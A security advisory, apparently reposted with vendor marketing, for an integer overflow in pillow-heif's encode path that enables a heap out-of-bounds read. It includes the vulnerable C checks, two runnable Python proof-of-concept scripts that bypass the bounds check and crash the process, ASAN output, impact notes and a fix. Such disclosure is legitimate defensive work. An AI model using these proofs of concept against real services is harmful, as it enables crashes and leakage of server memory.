Summary
pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read
An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required, this triggers under default settings.
Details
The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:
// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
PyBuffer_Release(&buffer);
PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
return NULL;
}
Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.
For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:
- True product: 12,884,901,888
int32product: 0 (wraps around)- Comparison:
0 > buffer.len→false→ check bypassed
After the check is bypassed, the subsequent loop reads beyond the input buffer:
for (int i = 0; i < height; i++)
memcpy(out + stride_out * i, in + stride_in * i, real_stride);
Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.
This vulnerability exists in the encode path, which is distinct from the decode path:
- The decode path is partially guarded by libheif's built-in security limits
- The encode path has no such guards,
DISABLE_SECURITY_LIMITSis irrelevant - The encode path is reachable whenever an application calls
pillow_heif.encode()or saves an image via Pillow withformat="HEIF"/format="AVIF"
Affected functions (all in _pillow_heif.c):
_CtxWriteImage_add_plane(), line 158_CtxWriteImage_add_plane_la(), line 344_CtxWriteImage_add_plane_l(), line 449
CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)
PoC
Prerequisites
pip install pillow-heif Pillow
For ASAN confirmation:
# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)
import pillow_heif
from io import BytesIO
# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
print("[!] encode() succeeded, bounds check was bypassed")
except MemoryError as e:
print(f"[*] MemoryError (libheif caught it later): {e}")
print("[*] int32 overflow occurred, C-level bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).
Test 2: Explicit stride, small image, immediate crash
import pillow_heif
from io import BytesIO
# 100x100 pixels, well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), small_buffer, buf,
quality=-1, stride=stride_val)
print("[!] encode() succeeded, bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes with exit code 139 (SIGSEGV).
ASAN confirmation
With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:
==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
#0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
#1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
#2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
#3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
...
0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
#0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
...
SUMMARY: AddressSanitizer: negative-size-param
(_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc
The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.
Impact
Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:
- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
- Content management systems that convert uploaded images to HEIF/AVIF
- Image processing pipelines that accept user-specified output dimensions
Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:
- Other users' request data
- Python objects (strings, byte arrays)
- Session tokens, API keys, or other sensitive data from the server's heap
Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).
Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:
// Before (vulnerable):
if (stride_in * height > buffer.len) {
// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {
Prior art:
- CVE-2024-5197 (libvpx): integer overflow in
vpx_img_alloc(), CVSS 7.5 - CVE-2024-5171 (libaom): integer overflow in
aom_img_alloc(), CVSS 9.8
A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
pi-heif to 1.3.0 or later; pillow-heif to 1.3.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-28231? CVE-2026-28231 is a medium-severity out-of-bounds read vulnerability in pi-heif (pip), affecting versions < 1.3.0. It is fixed in 1.3.0. A read operation accesses a memory location beyond the intended buffer boundary.
- Which packages are affected by CVE-2026-28231?
pi-heif(pip) (versions < 1.3.0)pillow-heif(pip) (versions < 1.3.0)
- Is there a fix for CVE-2026-28231? Yes. CVE-2026-28231 is fixed in 1.3.0. Upgrade to this version or later.
- Is CVE-2026-28231 exploitable, and should I be worried? Whether CVE-2026-28231 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-28231 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-28231?
- Upgrade
pi-heifto 1.3.0 or later - Upgrade
pillow-heifto 1.3.0 or later
- Upgrade